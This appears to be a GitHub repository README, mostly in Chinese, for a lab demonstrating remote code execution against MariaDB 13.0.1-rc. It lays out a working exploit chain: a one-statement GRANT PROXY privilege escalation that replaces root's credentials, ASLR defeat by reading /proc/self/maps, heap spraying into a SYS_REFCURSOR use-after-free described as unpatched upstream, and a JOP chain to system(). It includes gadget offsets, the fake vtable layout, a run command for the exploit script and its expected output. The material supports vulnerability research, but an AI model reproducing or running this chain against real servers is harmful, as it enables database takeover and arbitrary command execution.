dinosn/mariadb-13-rce-lab

GitHub: dinosn/mariadb-13-rce-lab

MariaDB 13.0.1-rc 的 RCE 漏洞实验环境,演示了通过纯 SQL 实现提权、绕过 ASLR 并利用 UAF 漏洞执行任意命令的完整利用链。

Stars: 12 | Forks: 2

# MariaDB 13.0.1-rc RCE 实验环境 在**未经修改的 MariaDB 13.0.1-rc 官方 Docker 镜像**上以 uid 999 (mysql) 身份执行远程代码。 两种漏洞利用变体: | 变体 | 文件 | 要求 | 备注 | |---------|------|--------------|-------| | **纯 SQL**(推荐) | `exploit_pure_sql.py` | 低权限 MariaDB 账户 + TCP | **无需主机访问权限,无需 docker,无需 /proc/mem,无需 root 密码** | | 主机辅助 PoC | `exploit.py` | Docker 主机上的 root 权限 | 通过 `/proc//mem` 写入 JOP 链 | 已在以下环境测试并验证:`mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9` (4/4 次运行,每次均具有全新的 ASLR 基址)。 ## 纯 SQL 攻击模型 (`exploit_pure_sql.py`) 攻击者**仅**拥有: - 一个仅有 USAGE 权限的 MariaDB 账户(compose 配置中的 `lowpriv` 用户)及其密码,以及 - 到 3306 端口的 TCP 连通性。 整条链均作为 SQL 语句执行;没有主机端进程访问,没有 docker 命令,没有已知的地址。每个运行时地址都是通过 SQL 从目标本身获取的: ``` 1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '' -> any user becomes full DBA (root account hijacked, empty password). One statement, no privileges required. 2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ... -> server-side file read (FILE priv, secure_file_priv unset on stock) leaks PIE base and libc base = real ASLR defeat. The bases change on every run and are read from the live process. 3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable) -> glibc dedicates a mmap region (0x8001000, data at +0x30). Its address is discovered by diffing /proc/self/maps before/after the allocation - from SQL. No /proc//mem involved. 4. SET @fake = CONCAT(REPEAT(...), UNHEX(''), REPEAT(...)) -> the complete JOP chain (D2, D1, system(), command string) is written by SQL at allocation time. The self-referential pointer [V+0xa8] = V+0x140 is baked in using the address found in step 3; glibc reuses the exact same mmap slot when the buffer is reallocated, so the address stays stable (verified each iteration, re-baked if ever moved). 5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary) -> the freed 1792-byte cursor array is reclaimed with a 1784-byte blob carrying V at offset 0x20; virtual dispatch result->prepare() -> D2 -> D1 -> system("sh -c ''") executes the command as uid 999(mysql). 6. Proof: the command writes a marker; server crashes right after system() returns (mariadbd is PID 1 -> container exits). Restart the container and read the marker. ``` 剩下的**唯一**非 SQL 操作是漏洞利用后的清理工作:重启 (已经崩溃的)容器并显示标记文件 —— 它们不属于 漏洞利用过程。 ### 替代旧的主机端辅助操作 | 旧辅助操作 | 纯 SQL 替代方案 | |-------------------------|----------------------| | `docker inspect` → PID + 主机端 `/proc//maps` | `LOAD DATA INFILE '/proc/self/maps'` | | 用于 JOP 链的主机端 `/proc//mem` 写入 | 在分配时通过 `CONCAT`/`UNHEX` 嵌入内存布局;地址来自 SQL 端的 maps 差异对比;mmap 插槽复用使自引用保持有效 | | `docker exec ... echo CMD > /tmp/payload_cmd.sh` | 命令字符串直接嵌入 JOP 布局中 | | `mariadb -uroot -plabpass` (root 密码) | 从低权限账户通过 `GRANT PROXY` 提权 | | `docker exec ... cat MARKER` | 仅用于显示证明 | ### 用法(纯 SQL) ``` # 开始实验 docker compose up -d # 通过具备 TCP 访问权限的任意位置运行 exploit - 无需 host 访问权限 python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \ --user lowpriv --password lowpriv \ --command "id > /tmp/pwned" --marker /tmp/pwned \ --container mariadb-rce-lab ``` 仅需要 `mariadb`/`mysql` 客户端和 Python 3。`--container` 用于 最终的标记显示(重启 + cat),如果通过其他方式 验证标记,则可以忽略此参数。 预期的输出末尾: ``` [*] ============ FIRING (CALL uaf5) ============ [*] session died as expected after RCE: no sentinel within 10s; got: b'' [*] waiting for marker /tmp/pwned ... [+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql) [+] =========================================== [+] RCE CONFIRMED (pure SQL, lowpriv account) [+] =========================================== ``` ## 漏洞链(两种变体) ### 1. F-09 — 提权(任意用户 → DBA) `GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA ''` 绕过了所有 权限检查。空的身份验证子句使得 `LEX_USER::has_auth()` 返回 false(跳过 `check_alter_user()`),而 `replace_user_table()` 仍然 应用空密码 —— 从而替换了 root 的凭证。**一条 SQL 语句, 任意已认证用户,适用于所有已发布的 MariaDB 版本。** ### 2. 通过 `/proc/self/maps` 破解 ASLR `LOAD DATA INFILE '/proc/self/maps'` 从 SQL 内部读取 mariadbd 进程的完整内存布局,揭示了 PIE 基址和 libc 基 地址。在官方镜像上适用于 `secure_file_priv = NULL`(未设置)的情况。 ### 3. F-05 — SYS_REFCURSOR use-after-free (0day,上游未修复) `sp_cursor_array::get_cursor_by_ref()` 返回一个指向 `Dynamic_array` 内部的指针,而该数组的底层存储在增长时会被 `my_realloc` 重新分配。 当一个游标的 `open()` 方法执行攻击者控制的 SQL 并打开 额外的游标时,数组会增长,旧的存储空间被释放,而调用者 缓存的指针变成了悬空指针。 被释放的 chunk(16 个游标 x 112 字节 = 1792 字节)被一个由 128 个用户变量副本组成的 heap spray(每个 1784 字节,完全契合 glibc chunk)重新占用。spray payload 在偏移量 0x20(`sp_cursor` 的 `result` 成员)处放置了一个受控的 vtable 指针,该指针随后被用于虚函数分派 (virtual dispatch): ``` Materialized_cursor::open() -> result->prepare() -> mov rax, [result] ; rax = attacker's vtable pointer (V) -> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot) ``` ### 4. JOP 链 → system() 来自官方 mariadbd 二进制文件的两个 JOP gadget(没有 ROP,没有栈转移): | Gadget | 偏移量 | 指令 | 用途 | |--------|-------------|------------------------------------------|--------------------| | D2 | PIE+0x80da77 | `call *0x100(%rax)` | 栈对齐修复 | | D1 | PIE+0xe3075b | `mov rdi,[rax+0xa8]; call [rax+0xa0]` | 加载 cmd 指针,调用 system() | 伪造的 vtable V 存在于 128 MiB 的缓冲区中;布局: ``` V+0x20 = D2 (prepare() vtable slot) V+0xa0 = system() (libc+0x5c560) V+0xa8 = V+0x140 (pointer to command string -> rdi) V+0x100 = D1 (JOP dispatcher) V+0x140 = "sh -c ''\0" ``` ### 5. 纯 SQL 地址发现技巧(新) 在不知道缓冲区地址之前写入自引用 JOP 数据的“鸡生蛋还是蛋生鸡”问题,由 glibc 的 mmap 行为解决: 1. 分配一个 128 MiB 的标记缓冲区 → 专用的 mmap 区域 (0x8001000, 数据位于区域+0x30) → 通过 `/proc/self/maps` 差异对比找到地址 2. 使用完整布局重新分配缓冲区(自引用 = V+0x140) → glibc munmap 旧的 chunk 并复用相同的插槽 → 地址稳定 3. 每一步都通过重新读取 `/proc/self/maps` 来验证;如果地址发生 移动,则重新生成自引用并重试写入(在实践中会 在单次迭代中收敛) ## 主机辅助变体 (exploit.py) 相同的链,但 JOP 布局是通过 Docker 主机(需要 root 权限)的 `/proc//mem` 写入进程的,payload 脚本是 通过 `docker exec` 创建的,并且它使用 compose 文件中的 root 密码进行连接。作为历史 PoC 保留;纯 SQL 变体已将其取代。 ## 备注 - 截至 2026-08-03,F-05 SYS_REFCURSOR UAF 在上游尚未修复 (在 13.0.1 标签和 HEAD 之间,对 `sql/sp_cursor.{cc,h}` 的提交为零)。 - F-09 提权修复 (`dbd60d0ad8d`, MDEV-40470) 位于 dev 分支上,但在所有已发布的版本中均不存在(已验证 10.6.27 到 13.0.1)。 - 选择 128 MiB 是因为 glibc 的动态 mmap 阈值在大块内存释放后 可以增长到 4 MiB 以上;128 MiB 可以可靠地获得专用的 mmap 区域 (已验证 128 和 256 MiB;大于 max_allowed_packet 的尺寸会失败,因此 首先会提升 `SET GLOBAL max_allowed_packet` 并使用新的连接)。 - 此镜像/glibc 上 mmap 区域内的数据偏移量为 +0x30 (已在多次运行中验证;如果有所不同,请更新 `DATA_OFF`)。 ## 发现工具 - [RAPTOR](https://github.com/dinosn/raptor) — 自主攻防研究框架 - [raptor-loop-hunt](https://github.com/dinosn/raptor) — 迭代漏洞搜寻插件
标签:Web报告查看器, XXE攻击, 提权, 编程工具, 请求拦截, 远程代码执行, 逆向工具